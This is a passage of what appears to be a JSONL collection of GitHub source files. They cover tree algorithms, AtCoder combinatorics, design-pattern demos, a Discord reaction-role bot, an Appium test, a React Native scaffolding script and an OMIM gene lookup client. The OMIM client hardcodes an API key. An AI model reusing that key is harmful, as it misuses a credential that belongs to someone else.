root.left: Node = Node(1)\n root.right: Node = Node(4)\n root.right.right: Node = Node(2)\n return root\n\n\nif __name__ == \"__main__\":\n root: Node = build_tree()\n in_order(root=root)\n print(\"None\")\n solution = Solution(root=root)\n solution.recover_bst()\n in_order(root=root)\n print(\"None\")\n","repo_name":"kamrul-pu/problem-solving","sub_path":"data_structure/tree/bst_recover.py","file_name":"bst_recover.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15171768599","text":"class BigCombination(object):\r\n __slots__ = [\"mod\", \"factorial\", \"inverse\"]\r\n \r\n def __init__(self, mod = 10**9+7, max_n = 10**6):\r\n fac, inv = [1], []\r\n fac_append, inv_append = fac.append, inv.append\r\n \r\n for i in range(1, max_n+1):\r\n fac_append(fac[-1] * i % mod)\r\n \r\n inv_append(pow(fac[-1], mod-2, mod))\r\n \r\n for i in range(max_n, 0, -1):\r\n inv_append(inv[-1] * i % mod)\r\n \r\n self.mod, self.factorial, self.inverse = mod, fac, inv[::-1]\r\n \r\n def get_combination(self, n, r):\r\n return self.factorial[n] * self.inverse[r] * self.inverse[n-r] % self.mod\r\n \r\n def get_permutation(self, n, r):\r\n return self.factorial[n] * self.inverse[n-r] % self.mod\r\n \r\n \r\nimport math\r\nBig = BigCombination()\r\nmod=10**9+7\r\nh,w,a,b=map(int,input().split())\r\nans=0\r\nfor i in range(b,w):\r\n ans=(ans+ Big.get_combination(h-a-1+i,i)* Big.get_combination(a-1+w-i-1,w-i-1))%mod\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc058/B/4732855.py","file_name":"4732855.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"33552328868","text":"# -*- coding:utf-8 -*-\n'''\n使多个对象都要机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。\n将这些对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它为止。\n'''\n\nfrom abc import ABCMeta, abstractmethod\n\n\n# 抽象处理者\nclass Handler(metaclass=ABCMeta):\n @abstractmethod\n def handle_leave(self, day):\n pass\n\n\n# 具体处理者\nclass GeneralManager(Handler):\n def handle_leave(self, day):\n if day < 10:\n print('总经理准假%d' % day)\n else:\n print('你还是辞职吧')\n\n\n# 具体处理者\nclass DepartmentManager(Handler):\n def __init__(self):\n self.next = GeneralManager()\n\n def handle_leave(self, day):\n if day <= 5:\n print('部门经理准假%d天' % day)\n else:\n print('部门经理职权不足')\n self.next.handle_leave(day)\n\n\n# 具体处理者\nclass ProjectDirector(Handler):\n def __init__(self):\n self.next = DepartmentManager()\n\n def handle_leave(self, day):\n if day <= 3:\n print('项目主管准假%d天' % day)\n else:\n print('项目主管职权不足')\n self.next.handle_leave(day)\n\n\n# 客户端\nday = 10\np = ProjectDirector()\np.handle_leave(day)\n\n\n'''\n适用场景:\n - 有多个请求可以处理一个请求,哪个对象处理由运行时决定\n - 在不明确接收者的情况下,向多个对象中的一个提交一个请求\n\n优点:\n - 降低耦合度:一个对象无需知道是其他哪一个对象处理其请求\n'''","repo_name":"ni-ning/LearnPython","sub_path":"27DesignPattern/011责任链模式.py","file_name":"011责任链模式.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"35962047096","text":"import sys\nfrom typing import Dict, List, Tuple, Set, Optional, cast\n\nfrom discopop_explorer.PETGraphX import PETGraphX, EdgeType, NodeID, CUNode, MemoryRegion\n\nglobal_write_unique_id = 0\n\n\ndef initialize_writes(\n memory_region_liveness: Dict[MemoryRegion, List[NodeID]],\n written_memory_regions_by_cu: Dict[NodeID, Set[MemoryRegion]],\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n global global_write_unique_id\n\n result_dict: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]] = dict()\n for mem_reg in memory_region_liveness:\n if mem_reg not in result_dict:\n result_dict[mem_reg] = set()\n for cu_id in memory_region_liveness[mem_reg]:\n written = False\n if cu_id in written_memory_regions_by_cu:\n if mem_reg in written_memory_regions_by_cu[cu_id]:\n written = True\n optional_unique_write_id = None\n if written:\n optional_unique_write_id = global_write_unique_id\n global_write_unique_id += 1\n\n result_dict[mem_reg].add((cu_id, optional_unique_write_id))\n\n return result_dict\n\n\ndef propagate_writes(\n comb_gpu_reg, pet: PETGraphX, writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n \"\"\"propagate writes to parents.\n propagate writes to successors and their children.\n propagate writes to calling functions if a return has been reached.\n Stop on the level of the base function\"\"\"\n parent_functions: List[NodeID] = []\n for region in comb_gpu_reg.contained_regions:\n parent_functions.append(pet.get_parent_function(pet.node_at(region.node_id)).id)\n\n modification_found = True\n while modification_found:\n # propagate writes to parents\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id_1, write_identifier_1 in writes[mem_reg]:\n if write_identifier_1 is None:\n # no write\n continue\n # propagate to parents\n for parent_id, _, _ in pet.in_edges(cu_id_1, EdgeType.CHILD):\n if parent_id in parent_functions:\n # do not propagate above the function which contains the GPU Regions\n continue\n if (parent_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((parent_id, write_identifier_1))\n modification_found = True\n # propagated to parent\n break\n if modification_found:\n break\n if modification_found:\n break\n\n # propagate to successors and their children\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id_1, write_identifier_1 in writes[mem_reg]:\n if write_identifier_1 is None:\n # no write\n continue\n # propagate to successors\n for _, successor_id, _ in pet.out_edges(cu_id_1, EdgeType.SUCCESSOR):\n if (successor_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((successor_id, write_identifier_1))\n modification_found = True\n # propagated to successor\n\n # propagate to children of successors\n for _, child_id, _ in pet.out_edges(successor_id, EdgeType.CHILD):\n if (child_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((child_id, write_identifier_1))\n modification_found = True\n # propagated to children of successor\n # propagate to called functions of successors\n for _, called_node_id, _ in pet.out_edges(\n successor_id, EdgeType.CALLSNODE\n ):\n if (called_node_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((called_node_id, write_identifier_1))\n modification_found = True\n # propagated to called nodes of successor\n break\n if modification_found:\n break\n if modification_found:\n break\n\n # propagate writes to calling functions if a return has been reached.\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id, write_identifier in writes[mem_reg]:\n pet_node = pet.node_at(cu_id)\n if type(pet_node) != CUNode:\n continue\n if pet_node.return_instructions_count > 0:\n # propagate write to calling cus\n parent_function = pet.get_parent_function(pet_node)\n callees = [\n s for s, t, d in pet.in_edges(parent_function.id, EdgeType.CALLSNODE)\n ]\n for callee_id in callees:\n if (callee_id, write_identifier) not in writes[mem_reg]:\n writes[mem_reg].add((callee_id, write_identifier))\n modification_found = True\n # propagated to callee\n if modification_found:\n break\n if modification_found:\n break\n\n return writes\n\n\ndef cleanup_writes(\n writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n \"\"\"remove entries from the Sets with an second-element entry of None,\n if it is overwritten by a different memory write.\"\"\"\n for mem_reg in writes:\n to_be_removed: Set[Tuple[NodeID, Optional[int]]] = set()\n # determine elements to be removed\n for cu_id, ident in writes[mem_reg]:\n if ident is None:\n continue\n if (cu_id, None) in writes[mem_reg]:\n # entry is overwritten by write access (cu_id, ident)\n to_be_removed.add((cu_id, None))\n # remove elements\n for cu_id, ident in to_be_removed:\n if (cu_id, ident) in writes[mem_reg]:\n writes[mem_reg].remove((cu_id, ident))\n return writes\n\n\ndef group_writes_by_cu(\n writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[NodeID, Dict[MemoryRegion, Set[Optional[int]]]]:\n result_dict: Dict[NodeID, Dict[MemoryRegion, Set[Optional[int]]]] = dict()\n\n for mem_reg in writes:\n for cu_id, ident in writes[mem_reg]:\n if cu_id not in result_dict:\n result_dict[cu_id] = dict()\n if mem_reg not in result_dict[cu_id]:\n result_dict[cu_id][mem_reg] = set()\n result_dict[cu_id][mem_reg].add(ident)\n return result_dict\n","repo_name":"discopop-project/discopop","sub_path":"discopop_explorer/pattern_detectors/combined_gpu_patterns/step_3.py","file_name":"step_3.py","file_ext":"py","file_size_in_byte":7632,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"}
+{"seq_id":"14355340143","text":"# the code below uses a static array where none value denotes that node has not child(left/right)\n'''\n the binary tree for the array below will be\n 1\n / \\\n 2 3\n / \\ / \\\n 4 5 6 7\n / \\\n 8 9\n'''\n\n\n\narr = [1,2,3,4,5,6,7,None,None,8,9,None,None,None,None]\nl = 0\nindex = 0\nmaxArray = [1]\nmaxArrayValue = 0\nwhile(index < len(arr)):\n for i in range(0,pow(2,l)): \n if (2*index + 2) < len(arr) and arr[index] != None:\n if arr[2*index + 1] != None:\n maxArrayValue = maxArrayValue + 1\n if arr[2*index + 2] != None:\n maxArrayValue = maxArrayValue + 1\n index = index + 1\n maxArray.append(maxArrayValue)\n maxArrayValue = 0\n l = l + 1\nprint(\"The maximumwidth is :\",max(maxArray))\n\n","repo_name":"sanchit247/my-codes","sub_path":"pythonCodes/day 44/max_width_of_any_binary_tree.py","file_name":"max_width_of_any_binary_tree.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"16171049800","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext.commands import has_permissions, MissingPermissions\n\nimport main\nfrom utils.configuration import save_config\nfrom utils.math import is_int\nfrom utils.message import no_permission, send_json\nfrom utils.string import replace_relevant\n\n\nclass ReactionRoles(commands.Cog):\n reaction_roles = main.config[\"reaction-roles\"]\n\n def __init__(self, bot):\n self.bot = bot\n\n async def process_reaction(self, payload: discord.RawReactionActionEvent, r_type=None):\n for reactrole in self.reaction_roles:\n if payload.message_id == reactrole[\"message-id\"]:\n for obj in reactrole[\"roles\"]:\n if obj[\"emoji\"] == payload.emoji.name:\n guild = self.bot.get_guild(payload.guild_id)\n user = await guild.fetch_member(payload.user_id)\n role = guild.get_role(obj[\"role\"])\n if role is None:\n print(f\"An invalid Role ID {obj['role']} was provided in Reaction Roles for message {reactrole['message-id']}\")\n elif r_type == \"add\":\n await user.add_roles(role)\n elif r_type == \"remove\":\n await user.remove_roles(role)\n else:\n print(\"Invalid Reaction Type was provided in reactroles.py `process_reaction`\")\n print(\"Not performing any Action as result\")\n break\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload: discord.RawReactionActionEvent):\n await self.process_reaction(payload, \"add\")\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload: discord.RawReactionActionEvent):\n await self.process_reaction(payload, \"remove\")\n\n @commands.command()\n @has_permissions(manage_roles=True)\n async def reactrole(self, ctx, *, args):\n if not args:\n return\n args = args.split(\" \")\n if ctx.message.reference is None:\n if len(args) < 3:\n return\n message_id = args[0]\n emoji = args[1]\n role_id = args[2]\n else:\n if len(args) < 2:\n return\n message_id = ctx.message.reference.message_id\n emoji = args[0]\n role_id = args[1]\n if ctx.message.role_mentions:\n role_id = ctx.message.role_mentions[0].id\n\n if message_id is None or emoji is None or role_id is None:\n await send_json(ctx.channel, main.responses[\"reaction-role-command-invalid\"], msg=replace_relevant(main.responses[\"reaction-role-command-invalid\"][\"content\"], ctx.guild))\n if not (is_int(message_id) or is_int(role_id)):\n await send_json(ctx.channel, main.responses[\"reaction-role-command-invalid\"], msg=replace_relevant(main.responses[\"reaction-role-command-invalid\"][\"content\"], ctx.guild))\n return\n message_id = int(message_id)\n role_id = int(role_id)\n for i in range(len(self.reaction_roles)):\n if self.reaction_roles[i][\"message-id\"] == message_id:\n main.config[\"reaction-roles\"][i][\"roles\"].append({\n \"emoji\": emoji,\n \"role\": role_id\n })\n save_config()\n return\n main.config[\"reaction-roles\"].append({\n \"message-id\": message_id,\n \"roles\": [\n {\n \"emoji\": emoji,\n \"role\": role_id\n }\n ]\n })\n save_config()\n message = await ctx.fetch_message(message_id)\n await message.add_reaction(emoji)\n await ctx.message.delete()\n await send_json(ctx.channel, main.responses[\"reaction-role-command-success\"], delete_after=3)\n\n @reactrole.error\n async def reactrole_error(self, ctx, error):\n if isinstance(error, MissingPermissions):\n await no_permission(ctx.message)\n\n\ndef setup(bot):\n bot.add_cog(ReactionRoles(bot))\n","repo_name":"Flo-Mit-H/UselessBot-PY","sub_path":"src/cog/reactroles.py","file_name":"reactroles.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13950304159","text":"# -*- coding: utf-8 -*-\n# @Time :2021/6/8 13:42\n# @Author :song\n# @Email :2697013700@qq.com\n# @File :test_006_toast.py\n#提示\nfrom appium import webdriver\nfrom selenium.webdriver.support import wait\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom appium.webdriver.common.mobileby import MobileBy\ndesired_caps={\n \"automationName\":\"UiAutomator2\",#toast必须UiAutomator2\n \"platformName\": \"Android\",\n \"platformVersion\": \"7.1.2\",\n \"deviceName\": \"HUAWEI MLA-AL10\",\n \"noReset\": True, # 不重置\n # app-包名\n \"appPackage\": \"com.lemon.lemonban\",\n \"appActivity\": \"com.lemon.lemonban.activity.WelcomeActivity\"\n}\ndriver=webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\",desired_caps)\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/navigation_my\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/fragment_my_lemon_avatar_layout\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/btn_login\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.XPATH,'//*[contains(@text,\"手机号码或密码\")]')\ntry:\n WebDriverWait(driver,10,0.01).until(EC.presence_of_element_located(loc))\nexcept:\n print(\"没找到\")\nelse:\n text=driver.find_element(*loc).text\n print(text)\n","repo_name":"songjealyn/appniumtest","sub_path":"class_001/test_006_toast.py","file_name":"test_006_toast.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17314361846","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'自动生成RN工程并自动导入设定的库'\n\n__author__ = 'TFN'\n\nimport os\nimport re\nimport sys\n\nimport configparser\n\n\n# 安装babel插件,用于支持@(decorator)特性:\n\n\ndef installBabel(RNRootPath):\n os.system(\n 'cd %s && npm i babel-plugin-transform-decorators-legacy babel-preset-react-native-stage-0 --save-dev' %\n RNRootPath)\n\n content = '{\\n\"presets\": [\"react-native\"],\\n\"plugins\": [\"transform-decorators-legacy\"]\\n}'\n\n # 修改.babelrc文件\n with open(os.path.join(RNRootPath, '.babelrc'), 'w') as babelFile:\n babelFile.write(content)\n\n\n# 修改index.android.js和index.ios.js文件\n\n\ndef modifyRootIndex(pythonPath, RNRootPath, RNProjectName):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'root_index_tmp.js'), 'r') as tempIndexFile:\n # 获取匹配对象\n re_pro = re.compile(r'xProjectName')\n temp = tempIndexFile.read()\n result, number = re_pro.subn(RNProjectName, temp)\n\n # 打开index.android.js以及index.ios.js文件\n with open(os.path.join(RNRootPath, 'index.android.js'), 'w') as indexAndroidFile:\n # 通过正则表达式匹配里面需要替换的工程名称projectName并进行替换\n # 将result写入Android文件\n indexAndroidFile.write(result)\n\n with open(os.path.join(RNRootPath, 'index.ios.js'), 'w') as indexIOSFile:\n indexIOSFile.write(result)\n\n\n# 创建app/App.js文件\n\n\ndef createApp(pythonPath, RNRootPath, defaultRoute):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'app_tmp.js'), 'r') as tempAppFile:\n re_default = re.compile(r'xHomePath')\n temp = tempAppFile.read()\n result, number = re_default.subn(defaultRoute, temp)\n\n # 创建app/App.js文件,并把result的内容存入\n with open(os.path.join(RNRootPath, 'app', 'App.js'), 'w') as appFile:\n appFile.write(result)\n\n\n# 创建导航栏NvaBar.js文件\n\n\ndef createNavBar(pythonPath, RNRootPath, navBarBackgroundColor):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'nav_bar_tmp.js'), 'r') as tempNavBarFile:\n re_bg = re.compile(r'xNavBarBGColor')\n\n temp = tempNavBarFile.read()\n result, number = re_bg.subn(navBarBackgroundColor, temp)\n\n # 创建app/pages/NavBar.js文件,并把result的内容存入\n with open(os.path.join(RNRootPath, 'app', 'pages', 'NavBar.js'), 'w') as navBarFile:\n navBarFile.write(result)\n\n\n# 创建总路由index.js\n\n\ndef createRouteIndex(pythonPath, RNRootPath, pageNames):\n with open(os.path.join(pythonPath, 'templet', 'pages_index_tmp.js'), 'r') as tempIndexFile:\n import_replace_str = ''\n route_replace_str = ''\n\n re_import = re.compile(r'xImportRootChildRoutes')\n re_route = re.compile(r'xRootChildRoutes')\n\n for name in pageNames:\n import_replace_str += 'import %s from \\'./%s\\';\\n' % (name, name)\n route_replace_str += '\\t\\t' + name + ',\\n'\n\n temp = tempIndexFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_route, num_route = re_route.subn(\n route_replace_str, result_import)\n\n with open(os.path.join(RNRootPath, 'app', 'pages', 'index.js'), 'w') as indexFile:\n indexFile.write(result_route)\n\n\n# 创建相应页面的路由index.js\n\n\ndef createPageIndex(pythonPath, RNRootPath, pageName):\n pagePath = os.path.join(RNRootPath, 'app', 'pages', pageName)\n os.system('mkdir -p %s' % pagePath)\n with open(os.path.join(pythonPath, 'templet', 'page_index_tmp.js'), 'r') as tempIndexFile:\n import_replace_str = 'import %s from \\'./%s\\';\\n' % (\n pageName[:1].upper() + pageName[1:], pageName[:1].upper() + pageName[1:])\n path_replace_str = pageName\n route_replace_str = pageName[:1].upper() + pageName[1:]\n\n re_import = re.compile(r'xImportPageRoute')\n re_path = re.compile(r'xChildParth')\n re_route = re.compile(r'xPageRoute')\n temp = tempIndexFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_path, num_path = re_path.subn(path_replace_str, result_import)\n result_route, num_route = re_route.subn(\n route_replace_str, result_path)\n\n with open(os.path.join(pagePath, 'index.js'), 'w') as indexFile:\n indexFile.write(result_route)\n\n\n# 创建相应页面的js\n\n\ndef createPage(pythonPath, RNRootPath, pageName, pageComp):\n pagePath = os.path.join(RNRootPath, 'app', 'pages', pageName)\n with open(os.path.join(pythonPath, 'templet', 'page_tmp.js'), 'r') as tempNameFile:\n import_replace_str = ''\n component_replace_str = ''\n path_replace_str = pageName\n name_replace_str = pageName[:1].upper() + pageName[1:]\n\n for eachComp in pageComp.split('|'):\n comps = eachComp.split(':')\n importModule = comps[0]\n importComps = comps[1].split(',')\n\n temp_str = 'import {%s} from \\'%s\\';\\n' % (comps[1], importModule)\n import_replace_str += temp_str\n\n for v in importComps:\n component_replace_str += '\\t\\t\\t\\t' + '<' + v + '/>\\n'\n\n re_import = re.compile(r'xImportModules')\n re_comp = re.compile(r'xImportComponents')\n re_path = re.compile(r'xPagePath')\n re_name = re.compile(r'xPageName')\n temp = tempNameFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_comp, num_comp = re_comp.subn(\n component_replace_str, result_import)\n result_path, num_path = re_path.subn(path_replace_str, result_comp)\n result_name, num_name = re_name.subn(name_replace_str, result_path)\n\n name = pageName[:1].upper() + pageName[1:]\n\n with open(os.path.join(pagePath, '%s.js' % name), 'w') as nameFile:\n nameFile.write(result_name)\n\n\n# 读取配置文件,获取需要的插件信息,然后初始化\n\n\ndef init(pythonPath):\n config = configparser.ConfigParser()\n\n # 读取配置文件\n with open(os.path.join(pythonPath, 'config.tfn'), 'r') as configFile:\n config.readfp(configFile)\n\n # 需要创建的RN工程名,默认AutoGenRNDemo\n RNProjName = config.get('base', 'RNProjName') or 'AutoGenRNDemo'\n\n # 工程创建的位置,默认在当前脚本目录下创建RN工程\n RNProjPath = config.get(\n 'base', 'RNProjPath') or os.path.split(\n os.path.realpath(__file__))[0]\n\n # 初始化RN工程\n os.system('cd %s && react-native init %s' % (RNProjPath, RNProjName))\n\n # 工程根目录\n RNRootPath = os.path.join(RNProjPath, RNProjName)\n\n # 将templet文件夹下的app文件夹及其子文件复制到在工程根目录下\n os.system(\n 'cp -r %s %s' %\n (os.path.join(\n pythonPath,\n 'templet',\n 'app'),\n RNRootPath))\n\n # 修改index.android.js和index.ios.js文件\n modifyRootIndex(pythonPath, RNRootPath, RNProjName)\n\n # 获取默认路由\n defaultRoute = config.get('default', 'default')\n\n # 创建app/App.js文件\n createApp(pythonPath, RNRootPath, defaultRoute)\n\n # 需要导入的模块名\n dependencyModule = config.get('base', 'dependencyModule').split(',')\n\n # npm install,将需要的模块依次安装\n list(map(lambda x: os.system('cd %s && npm install --save %s ' %\n (RNRootPath, x)), dependencyModule))\n\n os.system(\n 'cd %s && npm install --save react-router@3.0.2' %\n RNRootPath)\n\n installBabel(RNRootPath)\n\n # 读取导航栏的背景颜色,默认颜色#db2f37\n navBarBackgroundColor = config.get(\n 'base', 'navBarBackgroundColor') or '#db2f37'\n # 创建导航栏NvaBar.js文件\n createNavBar(pythonPath, RNRootPath, navBarBackgroundColor)\n\n # 读取配置文件的page这个section,获取需要生成的页面数以及每个页面需要导入的Component\n pageNum = len(config.options('page'))\n\n pageNames = []\n\n for index in range(1, pageNum + 1):\n eachPage = config.get('page', 'page%d' % index)\n # 分割,得到页面的名称\n pageName = eachPage[:eachPage.index('{')]\n\n # 创建相应页面的路由index.js\n createPageIndex(pythonPath, RNRootPath, pageName)\n\n pageNames.append(pageName)\n\n pageComp = eachPage[eachPage.index('{') + 1:len(eachPage) - 1]\n\n createPage(pythonPath, RNRootPath, pageName, pageComp)\n\n createRouteIndex(pythonPath, RNRootPath, pageNames)\n\n\nif __name__ == '__main__':\n # 当前python文件的路径\n pythonPath = os.path.split(os.path.realpath(__file__))[0]\n\n init(pythonPath)\n","repo_name":"speaklesstfn/AutoGenRNProj","sub_path":"auto_gen_rn.py","file_name":"auto_gen_rn.py","file_ext":"py","file_size_in_byte":9058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31800216290","text":"from random import randint\n\nclass Animal :\n all_animals = []\n def __init__(self,name,q1,q2,q3):\n self.name = name\n self.q1 = q1\n self.q2 = q2\n self.q3 = q3\n @staticmethod\n def getAnimalAtIndex(index): return Animal.all_animals[index]\n def getName(self) : return self.name\n def guess_who_am_i(self) :\n print(self.q1)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n print(self.q2)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n print(self.q3)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n return False\n\nlion = Animal(\"lion\",\"I am the biggest cat\",\"I live in groups\",\"I am the King of the jungle\")\nelephant = Animal(\"elephant\",\"I am the largest land-living mammal in the world\",\"I have exceptional memory\",\"I have Trunk\")\ntiger = Animal(\"tiger\",\"I am the biggest cat\",\"I come in black and white or orange and black\",\"I an the national animal of INDIA\")\nbat = Animal(\"bat\",\"I use echo-location\",\"I can fly\",\"I see well in dark\")\ndog = Animal(\"dog\",\"I live with human\",\"I am the animal used for sniffing\",\"I don't like cat's\")\ncat = Animal(\"cat\",\"I live with human\",\"I acted in tom and jerry\",\"My favourite food is rat\")\ndolphin = Animal(\"dolphin\",\"I have exceptional memory\",\"I live in water\",\"I play with human\")\nAnimal.all_animals.append(lion)\nAnimal.all_animals.append(elephant)\nAnimal.all_animals.append(tiger)\nAnimal.all_animals.append(bat)\nAnimal.all_animals.append(dog)\nAnimal.all_animals.append(cat)\nAnimal.all_animals.append(dolphin)\ni = \"yes\"\nprint(\"I will give you 3 hints, guess what animal I am\")\nwhile (i != \"no\"):\n animal = Animal.getAnimalAtIndex(randint(0,6))\n if (animal.guess_who_am_i()) :\n print(\"You got it! I am \",animal.getName())\n else:\n print(\"I'm out of hints! The answer is: \",animal.getName())\n i = input(\"Do you want to play (yes/no): \")","repo_name":"mohan5v5988/Python","sub_path":"HomeWork-8/program 1.py","file_name":"program 1.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1692157074","text":"import requests\r\n\r\napiKey = 'RmWP24dgQ0ua8kJ485oPFw'\r\nhost = 'https://api.omim.org/api/'\r\n\r\n\r\ndef sign():\r\n data = {\r\n 'apiKey': apiKey,\r\n 'format': 'python'\r\n }\r\n url = host + 'apiKey'\r\n r = requests.request('POST', url, data=data)\r\n\r\n\r\ndef split(dname, aname):\r\n dlst = list()\r\n if dname.get(aname):\r\n if dname[aname].find(';;;') != -1:\r\n for lst in dname[aname].split(';;;'):\r\n dlst.append(lst.split(';;')[-1])\r\n else:\r\n dlst.append(dname[aname].split(';;')[-1])\r\n \r\n return dlst\r\n\r\ndef getGene(geneSym):\r\n params = {\r\n 'search': f'approved_gene_symbol:{geneSym}',\r\n 'include': ['seeAlso', 'geneMap', 'externalLinks'],\r\n 'format': 'json',\r\n 'start': 0,\r\n 'limit': 10,\r\n 'apiKey': apiKey\r\n }\r\n url = host + 'entry/search'\r\n r = requests.request('GET', url, params=params)\r\n res = r.json()\r\n if not res['omim']['searchResponse']['entryList']:\r\n return None\r\n res = res['omim']['searchResponse']['entryList'][0]['entry']\r\n # geneMap = res['geneMap']\r\n # externalLinks = res['externalLinks']\r\n gene = {\r\n 'geneSym': geneSym,\r\n 'geneName': None,\r\n 'phenotype': None,\r\n 'phenotypeInheritance': None,\r\n 'diseases': list()\r\n }\r\n if res.get('geneMap'):\r\n geneMap = res['geneMap']\r\n if geneMap.get('geneName'):\r\n gene.update({'geneName': geneMap['geneName']})\r\n if geneMap.get('phenotypeMapList'):\r\n gene.update({\r\n 'phenotype': geneMap['phenotypeMapList'][0]['phenotypeMap']['phenotype'],\r\n 'phenotypeInheritance': geneMap['phenotypeMapList'][0]['phenotypeMap']['phenotypeInheritance']\r\n })\r\n if res.get('externalLinks'):\r\n externalLinks = res['externalLinks']\r\n if externalLinks.get('nbkIDs'):\r\n gene['diseases'] += split(externalLinks, 'nbkIDs')\r\n elif externalLinks.get('ordrDiseases'):\r\n gene['diseases'] += split(externalLinks, 'ordrDiseases')\r\n elif externalLinks.get('omiaIDs'):\r\n gene['diseases'] += split(externalLinks, 'omiaIDs')\r\n return gene\r\n\r\n\r\n\r\n","repo_name":"xinyu-g/geneEd","sub_path":"geneEd/retrieve/omim.py","file_name":"omim.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"71392526633","text":"import logging\r\nimport sys\r\nimport fileinput\r\nimport re\r\n\r\n\r\n\r\n\r\ndef run():\r\n logging.basicConfig(filename='log6.log',filemode='w', level=logging.DEBUG)\r\n logging.info(\"start\")\r\n print(\"\\n\\n Task4 \\n\\n\")\r\n lineDict = read_log()\r\n printDict(lineDict)\r\n print(\"\\n\\n Task 5 \\n\\n\")\r\n myDictionary = ip_request(lineDict) #pass result of standard input read_log\r\n printDict(myDictionary)\r\n print(\"\\n\\n Task 6 \\n\\n\")\r\n ip_find(myDictionary) #myDictionary holds number of requests per ip\r\n ip_find(myDictionary, False)\r\n print(\"\\n\\n Task 7 \\n\\n\")\r\n print(longest_request(lineDict))\r\n print(\"\\n\\n Task 8 \\n\\n\")\r\n print(non_existent(lineDict))\r\n logging.info(\"END\")\r\n\r\n\r\ndef printDict(dict):\r\n count = 0\r\n for x in dict:\r\n print(str(x) + \" :::::: \" + str(dict[x]))\r\n count = count + 1\r\n if count > 5:\r\n return\r\n\r\n\r\ndef read_log():\r\n new_dictionary = {}\r\n splt_char = ''\r\n with open('accesslog4.txt', 'r') as f:\r\n for line in f:\r\n splitline = line.split()\r\n new_dictionary[splt_char.join(splitline[:5])] = splt_char.join(splitline[5:])\r\n return new_dictionary\r\n\r\n\r\ndef ip_request(dict):\r\n ip_dictionary = {}\r\n for x in dict:\r\n ip = x.split\r\n ipKey = 0\r\n ip_dictionary[ipKey] = ip_dictionary.get(ipKey, 0) + 1\r\n return ip_dictionary\r\n\r\n\r\ndef ip_find(d, most_active=True):\r\n ip_find_List = []\r\n if most_active == True:\r\n maxValue = max(d.values())\r\n for ip in d:\r\n if d[ip] == maxValue:\r\n ip_find_List.append((ip, d[ip]))\r\n print(\"Max Value\")\r\n print(maxValue)\r\n\r\n else:\r\n minValue = min(d.values())\r\n for ip in d:\r\n if d[ip] == minValue:\r\n ip_find_List.append((ip, d[ip]))\r\n print(\"Min Value\")\r\n print(minValue)\r\n\r\n\r\ndef longest_request(dict):\r\n max = 0\r\n ip = {}\r\n longest_request_line = {}\r\n for x in dict:\r\n if 